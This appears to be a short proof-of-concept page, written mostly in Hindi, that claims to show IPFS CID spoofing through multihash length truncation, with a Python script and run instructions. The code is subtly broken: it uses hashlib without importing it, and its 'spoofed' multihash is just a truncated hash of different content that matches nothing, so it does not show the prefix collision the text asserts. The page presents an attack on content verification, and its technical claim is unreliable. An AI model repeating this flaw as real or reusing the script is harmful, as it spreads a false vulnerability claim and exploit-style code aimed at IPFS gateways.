
Python प्रूफ-ऑफ-कॉन्सेप्ट जो मल्टीहैश लंबाई विस्तार के माध्यम से IPFS CID स्पूफिंग का प्रदर्शन करता है, जो सामग्री-एड्रेसिंग सत्यापन दोषों को उजागर करता है जो IPFS गेटवे को दूषित कर सकते हैं।
# ipfs_cid_spoof.py - Generates a CID with a different multihash length
import multihash, cid
# Attacker creates a file whose hash, when truncated, matches a different file's prefix
original_content = b"hello"
fake_content = b"hello world"
real_cid = cid.make_cid(1, 'dag-pb', multihash.encode(hashlib.sha256(original_content).digest(), 'sha2-256'))
# Spoofed CID: we can craft a multihash with a shorter length that matches the start of the real one
spoofed_multihash = multihash.encode(hashlib.sha256(fake_content).digest()[:16], 'sha2-256', length=16)
spoofed_cid = cid.make_cid(1, 'dag-pb', spoofed_multihash)
print(f"Real CID: {real_cid}")
print(f"Spoofed CID: {spoofed_cid}")
# If IPFS node only checks prefix, it may serve the wrong content.
एक IPFS इम्प्लीमेंटेशन CID के मल्टीहैश में length फ़ील्ड पर भरोसा करता है, बिना यह सत्यापित किए कि हैश स्वयं पूरी सामग्री से मेल खाता है। एक हमलावर ऐसी फ़ाइल बना सकता है जिसका ट्रंकेटेड हैश किसी वैध फ़ाइल के हैश के प्रीफ़िक्स के बराबर हो, और दुर्भावनापूर्ण फ़ाइल को उसी CID के अंतर्गत सर्व कर सकता है।
स्क्रिप्ट चलाएँ:
pip install py-multihash py-cid
python ipfs_cid_spoof.py
यह दर्शाता है कि एक स्पूफ किया गया CID उत्पन्न किया जा सकता है।